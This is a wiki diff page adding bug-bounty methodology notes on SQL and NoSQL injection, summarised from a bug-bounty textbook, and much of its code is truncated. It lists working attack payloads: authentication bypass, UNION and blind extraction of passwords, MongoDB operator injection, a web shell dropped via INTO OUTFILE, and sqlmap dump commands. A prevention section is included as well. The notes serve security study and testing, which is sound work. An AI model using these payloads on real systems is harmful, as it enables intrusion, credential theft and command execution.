tbhm:06_sqli
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revision | |||
| tbhm:06_sqli [2026/05/14 09:59] – integrate zseano methodology drew | tbhm:06_sqli [2026/05/14 15:57] (current) – merge bbc ch11 sqli techniques drew | ||
|---|---|---|---|
| Line 75: | Line 75: | ||
| * [[zseano: | * [[zseano: | ||
| + | |||
| + | |||
| + | ====== BBC Ch 11: SQL Injection ====== | ||
| + | |||
| + | //Merged from Bug Bounty Bootcamp Ch 11 by Vickie Li// | ||
| + | |||
| + | ===== How SQL Injection Works ===== | ||
| + | |||
| + | SQL injection happens when user-supplied input is interpolated directly into a SQL query without sanitization, | ||
| + | |||
| + | **Classic example -- auth bypass via comment:** | ||
| + | |||
| + | <code sql> | ||
| + | SELECT * FROM Users WHERE Username=' | ||
| + | </ | ||
| + | |||
| + | The '' | ||
| + | |||
| + | **Input that achieves this:** | ||
| + | < | ||
| + | Username field: admin' | ||
| + | Password field: (anything) | ||
| + | </ | ||
| + | |||
| + | The '' | ||
| + | <code sql> | ||
| + | SELECT * FROM Users WHERE Username=' | ||
| + | </ | ||
| + | |||
| + | ===== Types of SQL Injection ===== | ||
| + | |||
| + | ==== In-Band SQLi ==== | ||
| + | |||
| + | Results are returned directly in the HTTP response. | ||
| + | |||
| + | **UNION-based: | ||
| + | |||
| + | <code sql> | ||
| + | SELECT Title, Body FROM Articles WHERE Id=1 | ||
| + | UNION SELECT Username, Password FROM Users | ||
| + | </ | ||
| + | |||
| + | To use UNION, the injected SELECT must return the same number of columns as the original query, and data types must be compatible. First determine the column count with ORDER BY: | ||
| + | |||
| + | < | ||
| + | https:// | ||
| + | https:// | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | Then extract: | ||
| + | < | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | **Error-based: | ||
| + | |||
| + | ==== Blind SQLi ==== | ||
| + | |||
| + | No data returned in the response -- infer data from behavior. | ||
| + | |||
| + | **Boolean-based: | ||
| + | |||
| + | Brute-force admin password character by character using SUBSTR: | ||
| + | |||
| + | <code sql> | ||
| + | SELECT * FROM Users WHERE Username=' | ||
| + | AND SUBSTR(Password, | ||
| + | </ | ||
| + | |||
| + | If page behavior matches the " | ||
| + | |||
| + | **Time-based: | ||
| + | |||
| + | <code sql> | ||
| + | SELECT * FROM Users WHERE Username=' | ||
| + | AND IF(SUBSTR(Password, | ||
| + | </ | ||
| + | |||
| + | A 10-second delay confirms the character is correct. | ||
| + | |||
| + | **Out-of-band: | ||
| + | |||
| + | ==== Second-Order SQLi ==== | ||
| + | |||
| + | The payload is stored in the database (user registration, | ||
| + | |||
| + | Example: register with username '' | ||
| + | <code sql> | ||
| + | UPDATE Users SET Password=' | ||
| + | </ | ||
| + | |||
| + | The comment terminates the WHERE clause, updating '' | ||
| + | |||
| + | ===== NoSQL Injection ===== | ||
| + | |||
| + | NoSQL databases (MongoDB, CouchDB) use their own query languages; injection still applies. | ||
| + | |||
| + | **MongoDB auth bypass with operator injection: | ||
| + | |||
| + | Normal login query: | ||
| + | <code javascript> | ||
| + | db.users.find({username: | ||
| + | </ | ||
| + | |||
| + | Inject a MongoDB query operator via JSON body: | ||
| + | <code json> | ||
| + | {" | ||
| + | </ | ||
| + | |||
| + | '' | ||
| + | |||
| + | **$where JavaScript injection: | ||
| + | |||
| + | <code javascript> | ||
| + | db.users.find({$where: | ||
| + | </ | ||
| + | |||
| + | Inject into the string: | ||
| + | < | ||
| + | username=admin'&& | ||
| + | </ | ||
| + | |||
| + | This builds a JS expression that brute-forces password characters. If the $where clause executes arbitrary JS, you can also cause DoS: | ||
| + | |||
| + | < | ||
| + | username=admin'; | ||
| + | </ | ||
| + | |||
| + | ===== Prevention ===== | ||
| + | |||
| + | **Prepared statements (parameterized queries):** the query structure is compiled separately from user input. Input is always treated as literal data, never as SQL syntax. This is the primary defense: | ||
| + | |||
| + | <code java> | ||
| + | PreparedStatement stmt = conn.prepareStatement( | ||
| + | " | ||
| + | stmt.setString(1, | ||
| + | stmt.setString(2, | ||
| + | </ | ||
| + | |||
| + | Input validation and allowlisting (e.g., only allow integers for numeric parameters) provide defense-in-depth. For NoSQL, use the driver' | ||
| + | |||
| + | ===== Hunting for SQLi ===== | ||
| + | |||
| + | ==== Step 1: Identify User-Supplied Input ==== | ||
| + | |||
| + | Any input that reaches a database query is a candidate: | ||
| + | * URL query parameters | ||
| + | * POST body parameters | ||
| + | * HTTP headers (User-Agent, | ||
| + | * Stored values that are later used in queries (second-order) | ||
| + | |||
| + | ==== Step 2: Inject Test Payloads ==== | ||
| + | |||
| + | For each input field, send payloads that break out of string context: | ||
| + | |||
| + | < | ||
| + | ' | ||
| + | '' | ||
| + | ; | ||
| + | -- - | ||
| + | ;-- - | ||
| + | ' OR ' | ||
| + | ' OR 1=1-- | ||
| + | </ | ||
| + | |||
| + | Observe for: | ||
| + | * SQL error messages (table names, column names, database type) | ||
| + | * Changed behavior (different page content, rows returned) | ||
| + | * Blank page (unhandled exception) | ||
| + | * Time delay (time-based blind) | ||
| + | |||
| + | ==== Step 3: Confirm and Extract ==== | ||
| + | |||
| + | If behavior changes on ''''' | ||
| + | |||
| + | For time-based confirmation: | ||
| + | < | ||
| + | '; IF(1=1, SLEEP(10), 0)-- | ||
| + | '; IF(1=2, SLEEP(10), 0)-- | ||
| + | </ | ||
| + | |||
| + | ==== Step 4: Determine the Database ==== | ||
| + | |||
| + | Fingerprint the database to use the correct syntax: | ||
| + | <code sql> | ||
| + | @@version | ||
| + | version() | ||
| + | SELECT banner FROM v$version | ||
| + | </ | ||
| + | |||
| + | Enumerate tables and columns: | ||
| + | <code sql> | ||
| + | SELECT table_name FROM information_schema.tables WHERE table_schema=database() | ||
| + | SELECT column_name FROM information_schema.columns WHERE table_name=' | ||
| + | </ | ||
| + | |||
| + | ==== Step 5: Escalate ==== | ||
| + | |||
| + | **Dump credentials: | ||
| + | |||
| + | **Web shell via INTO OUTFILE (MySQL, with FILE privilege): | ||
| + | |||
| + | <code sql> | ||
| + | SELECT "<? | ||
| + | INTO OUTFILE '/ | ||
| + | </ | ||
| + | |||
| + | Confirm the web root path from server error messages or default config paths. After writing the file: | ||
| + | < | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | This gives OS command execution. | ||
| + | |||
| + | **Automation: | ||
| + | |||
| + | < | ||
| + | sqlmap -u " | ||
| + | sqlmap -u " | ||
| + | sqlmap -u " | ||
| + | </ | ||
| + | |||
| + | Use '' | ||
| + | |||
| + | ===== 5-Step Checklist ===== | ||
| + | |||
| + | - Map all user-supplied inputs that reach database queries (URL params, POST body, headers, stored values). | ||
| + | - Inject ''''' | ||
| + | - Confirm: use balanced quotes test (one quote breaks, two quotes restores normal behavior). | ||
| + | - Fingerprint the database; enumerate tables and columns via information_schema. | ||
| + | - Extract credentials; | ||
tbhm/06_sqli.txt · Last modified: by drew
